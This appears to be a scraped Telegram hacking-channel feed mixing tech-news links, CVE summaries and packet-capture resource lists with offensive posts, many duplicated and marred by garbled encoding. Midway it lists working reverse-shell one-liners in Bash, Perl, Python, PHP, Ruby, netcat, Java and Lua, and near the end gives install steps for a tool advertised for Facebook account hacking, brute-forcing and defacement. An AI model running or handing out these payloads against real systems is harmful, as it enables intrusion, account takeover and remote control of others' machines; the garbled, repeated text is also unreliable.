Forwarded from UNDERCODE TESTING
An animation of the pairing process shows the true appearance of Appleβs AirTags tracker.
#Technologies
MORE DETAILS - https://undercodenews.com/an-animation-of-the-pairing-process-shows-the-true-appearance-of-apples-airtags-tracker/04/01/2021/
#Technologies
MORE DETAILS - https://undercodenews.com/an-animation-of-the-pairing-process-shows-the-true-appearance-of-apples-airtags-tracker/04/01/2021/
Forwarded from UNDERCODE TESTING
π΅WebChat bot by Microsoft, Send Box takes up entire iFrame in iOS Bug:
https://dailycve.com/webchat-bot-microsoft-send-box-takes-entire-iframe-ios-bug
https://dailycve.com/webchat-bot-microsoft-send-box-takes-entire-iframe-ios-bug
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦SOURCES CODES & BINARY FOR HACKING :
[BPF for Ultrix](http://www.tcpdump.org/other/bpfext42.tar.Z): A distribution of BPF for Ultrix 4.2, with both source code and binary modules.
>>BPF+](http://www.cs.berkeley.edu/~abegel/sigcomm99/bpf+.ps): Exploiting Global Data-flow Optimization in a Generalized Packet Filter Architecture By Andrew Begel, Steven McCanne, and Susan Graham.
>>FFT-FGN-C](http://ita.ee.lbl.gov/html/contrib/fft_fgn_c.html): is a program for synthesizing a type of self-similar process known as fractional Gaussian noise. The program is fast but approximate. Fractional Gaussian noise is only one type of self-similar process. When using this program for synthesizing network traffic, you must keep in mind that it may be that the traffic you seek is better modeled using one of the other processes.
>>Haka](http://www.haka-security.org/): An open source security oriented language which allows to describe protocols and apply security policies on (live) captured traffic. The scope of Haka language is twofold. First of all, it allows to write security rules in order to filter/alter/drop unwanted packets and log and report malicious activities. Second, Haka features a grammar enabling to specify network protocols and their underlying state machine.
>>RIPE-NCC Hadoop for PCAP](https://github.com/RIPE-NCC/hadoop-pcap): A Hadoop library to read packet capture (PCAP) files. Bundles the code used to read PCAPs. Can be used within MapReduce jobs to natively read PCAP files. Also features a Hive Serializer/Deserializer (SerDe) to query PCAPs using SQL like commands.
>>Traffic Data Repository at the WIDE Project](http://www.sonycsl.co.jp/person/kjc/papers/freenix2000/): It becomes increasingly important for both network researchers and operators to know the trend of network traffic and to find anomaly in their network traffic. This paper describes an on-going effort within the WIDE project to collect a set of free tools to build a traffic data repository containing detailed information of our backbone traffic. Traffic traces are collected by tcpdump and, after removing privacy information, the traces are made open to the public. We review the issues on user privacy, and then, the tools used to build the WIDE traffic repository. We will report the current status and findings in the early stage of our IPv6 deployment.
Usenix93 Paper on BPF](ftp://ftp.ee.lbl.gov/papers/bpf-usenix93.ps.Z): The libpcap interface supports a filtering mechanism based on the architecture in the BSD packet filter. BPF is described in the 1993 Winter Usenix paper "The BSD Packet Filter: A New Architecture for User-level Packet Capture".
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦SOURCES CODES & BINARY FOR HACKING :
[BPF for Ultrix](http://www.tcpdump.org/other/bpfext42.tar.Z): A distribution of BPF for Ultrix 4.2, with both source code and binary modules.
>>BPF+](http://www.cs.berkeley.edu/~abegel/sigcomm99/bpf+.ps): Exploiting Global Data-flow Optimization in a Generalized Packet Filter Architecture By Andrew Begel, Steven McCanne, and Susan Graham.
>>FFT-FGN-C](http://ita.ee.lbl.gov/html/contrib/fft_fgn_c.html): is a program for synthesizing a type of self-similar process known as fractional Gaussian noise. The program is fast but approximate. Fractional Gaussian noise is only one type of self-similar process. When using this program for synthesizing network traffic, you must keep in mind that it may be that the traffic you seek is better modeled using one of the other processes.
>>Haka](http://www.haka-security.org/): An open source security oriented language which allows to describe protocols and apply security policies on (live) captured traffic. The scope of Haka language is twofold. First of all, it allows to write security rules in order to filter/alter/drop unwanted packets and log and report malicious activities. Second, Haka features a grammar enabling to specify network protocols and their underlying state machine.
>>RIPE-NCC Hadoop for PCAP](https://github.com/RIPE-NCC/hadoop-pcap): A Hadoop library to read packet capture (PCAP) files. Bundles the code used to read PCAPs. Can be used within MapReduce jobs to natively read PCAP files. Also features a Hive Serializer/Deserializer (SerDe) to query PCAPs using SQL like commands.
>>Traffic Data Repository at the WIDE Project](http://www.sonycsl.co.jp/person/kjc/papers/freenix2000/): It becomes increasingly important for both network researchers and operators to know the trend of network traffic and to find anomaly in their network traffic. This paper describes an on-going effort within the WIDE project to collect a set of free tools to build a traffic data repository containing detailed information of our backbone traffic. Traffic traces are collected by tcpdump and, after removing privacy information, the traces are made open to the public. We review the issues on user privacy, and then, the tools used to build the WIDE traffic repository. We will report the current status and findings in the early stage of our IPv6 deployment.
Usenix93 Paper on BPF](ftp://ftp.ee.lbl.gov/papers/bpf-usenix93.ps.Z): The libpcap interface supports a filtering mechanism based on the architecture in the BSD packet filter. BPF is described in the 1993 Winter Usenix paper "The BSD Packet Filter: A New Architecture for User-level Packet Capture".
β β β Uππ»βΊπ«Δπ¬πβ β β β
Andrewbegel
Andrew Begel β Home Page
A theme for faculty profile page
Forwarded from UNDERCODE TESTING
Dailycve
LG Mobile multiple CVE | CVE
Details:
LGE is releasing a set of patches as part of Android Security Bulletin Monthly Release process. This SMR(Security Maintenace Release) include patches from Google and LGE. The most severe of these issues is a critical security vulnerability inβ¦
LGE is releasing a set of patches as part of Android Security Bulletin Monthly Release process. This SMR(Security Maintenace Release) include patches from Google and LGE. The most severe of these issues is a critical security vulnerability inβ¦
Forwarded from UNDERCODE TESTING
What are the problems with TSMC and Samsung ?
#International
MORE DETAILS - https://undercodenews.com/what-are-the-problems-with-tsmc-and-samsung/04/01/2021/
#International
MORE DETAILS - https://undercodenews.com/what-are-the-problems-with-tsmc-and-samsung/04/01/2021/
Forwarded from UNDERCODE TESTING
Laser scan new feature in all iPhone 13 series.
#Technologies
MORE DETAILS - https://undercodenews.com/laser-scan-new-feature-in-all-iphone-13-series/04/01/2021/
#Technologies
MORE DETAILS - https://undercodenews.com/laser-scan-new-feature-in-all-iphone-13-series/04/01/2021/
π¦39 sections β The-Complete-Ethical-Hacking-Course :
https://github.com/PacktPublishing/The-Complete-Ethical-Hacking-Course
https://github.com/PacktPublishing/The-Complete-Ethical-Hacking-Course
Forwarded from DailyCVE
π΅There are multiple vulnerabilities in the UNIVERGE SV9500 series and UNIVERGE SV8500 series provided by NEC Platforms, Ltd.
https://dailycve.com/there-are-multiple-vulnerabilities-univerge-sv9500-series-and-univerge-sv8500-series-provided-nec
https://dailycve.com/there-are-multiple-vulnerabilities-univerge-sv9500-series-and-univerge-sv8500-series-provided-nec
Dailycve
There are multiple vulnerabilities in the UNIVERGE SV9500 series and UNIVERGE SV8500 series provided by NEC Platforms, Ltd. | CVE
Details:
The expected impact depends on each vulnerability, but if a third party who has access to the product sends a specially crafted request to a specific URL, it may be affected as follows. There is.
Arbitrary commands are executed or the systemβ¦
The expected impact depends on each vulnerability, but if a third party who has access to the product sends a specially crafted request to a specific URL, it may be affected as follows. There is.
Arbitrary commands are executed or the systemβ¦
Forwarded from UNDERCODE NEWS
Forwarded from UNDERCODE NEWS
Forwarded from DailyCVE
Dailycve
Rust security vulnerabilities | CVE
Details:
Rust is a Mozilla Foundation general-purpose, compiled programming language.
There is a security flaw before 0.10.2 in the Rust serde cbor crate, which stems from the fact that through nesting semantic tags, the CBOR deserializer will cause stackβ¦
Rust is a Mozilla Foundation general-purpose, compiled programming language.
There is a security flaw before 0.10.2 in the Rust serde cbor crate, which stems from the fact that through nesting semantic tags, the CBOR deserializer will cause stackβ¦
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦Sashay is an automatic installer for useful hacking tools:
πΈπ½π π π°π»π»πΈπ π°π πΈπΎπ½ & π π π½ :
open terminal and type
Type Sashay or sshy in your terminal
π¦Each number represents a specific output:
(1) : Type 1 to show all available tools. Type the number corresponding number of a tool which you want to install.
(2) : Type 2 to show tools categories
(3) : Type 3 to update Sashay
(x) : Type x to exit Sashay
compatible with termux
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦Sashay is an automatic installer for useful hacking tools:
πΈπ½π π π°π»π»πΈπ π°π πΈπΎπ½ & π π π½ :
open terminal and type
1) git clone https://github.com/chouette254/Sashay.gitHow to useπ¨βπ»
Change directory:
2) cd Sashay
Execute:
3) chmod +x install
Run:
4) sh install or ./install
Type Sashay or sshy in your terminal
π¦Each number represents a specific output:
(1) : Type 1 to show all available tools. Type the number corresponding number of a tool which you want to install.
(2) : Type 2 to show tools categories
(3) : Type 3 to update Sashay
(x) : Type x to exit Sashay
compatible with termux
β β β Uππ»βΊπ«Δπ¬πβ β β β
Forwarded from UNDERCODE NEWS
Pixel 5 device volume issue is resolved by Google, the shutter sound effect is no longer noisy.
#Technologies
#Technologies
Forwarded from UNDERCODE NEWS
Forwarded from DailyCVE
π΅Ansible many bugs in win_find may cause unauthorised access :
https://dailycve.com/ansible-many-bugs-winfind-may-cause-unauthorised-access
https://dailycve.com/ansible-many-bugs-winfind-may-cause-unauthorised-access
Dailycve
Ansible many bugs in win_find may cause unauthorised access | CVE
Details:
Ansible is a radically simple IT automation system. It handles configuration management, application deployment, cloud provisioning, ad-hoc task execution, network automation, and multi-node orchestration. Ansible makes complex changes like zeroβ¦
Ansible is a radically simple IT automation system. It handles configuration management, application deployment, cloud provisioning, ad-hoc task execution, network automation, and multi-node orchestration. Ansible makes complex changes like zeroβ¦
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦Reverse shell method for multiple programming languages:
Bash command: bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
Perl version: perl -e'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p ,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i" );};
Python version: python -c'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s. fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i "]);'
PHP version: php -r'$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
Ruby version: ruby ββ-rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d" ,f,f,f)'
nc version: nc -e /bin/sh 10.0.0.1 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp /f
nc xxxx 8888|/bin/sh|nc xxxx 9999
java version: r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
Lua version: lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/ bin/sh -i <&3 >&3 2>&3');"
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦Reverse shell method for multiple programming languages:
Bash command: bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
Perl version: perl -e'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p ,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i" );};
Python version: python -c'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s. fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i "]);'
PHP version: php -r'$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
Ruby version: ruby ββ-rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d" ,f,f,f)'
nc version: nc -e /bin/sh 10.0.0.1 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp /f
nc xxxx 8888|/bin/sh|nc xxxx 9999
java version: r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
Lua version: lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/ bin/sh -i <&3 >&3 2>&3');"
β β β Uππ»βΊπ«Δπ¬πβ β β β
Forwarded from UNDERCODE NEWS
The historical record has been set by U.S. 5 G C-segment spectrum auctions, reaching US$76 billion.
#Analytiques
#Analytiques
Forwarded from UNDERCODE NEWS
Forwarded from DailyCVE
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦π₯ Firecrack pentest tools: Facebook hacking random attack, deface, admin finder, bing dorking:
1.hack facebook (random attack)
2.bruteforce facebook (one account)
3.admin finder
4.bing dorking
5.deface (file upload)
πΈπ½π π π°π»π»πΈπ π°π πΈπΎπ½ & π π π½ :
Termux:
Linux:
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦π₯ Firecrack pentest tools: Facebook hacking random attack, deface, admin finder, bing dorking:
1.hack facebook (random attack)
2.bruteforce facebook (one account)
3.admin finder
4.bing dorking
5.deface (file upload)
πΈπ½π π π°π»π»πΈπ π°π πΈπΎπ½ & π π π½ :
Termux:
pkg install python2help
pkg install git
git clone https://github.com/Ranginang67/Firecrack
cd Firecrack
pip2 install -r requirements.txt
python2 firecrack.py
Linux:
apt-get install pythonhelp
apt-get install python-pip
apt-get install git
git clone https://github.com/Ranginang67/Firecrack
cd Firecrack
pip install -r requirements.txt
python firecrack.py
β β β Uππ»βΊπ«Δπ¬πβ β β β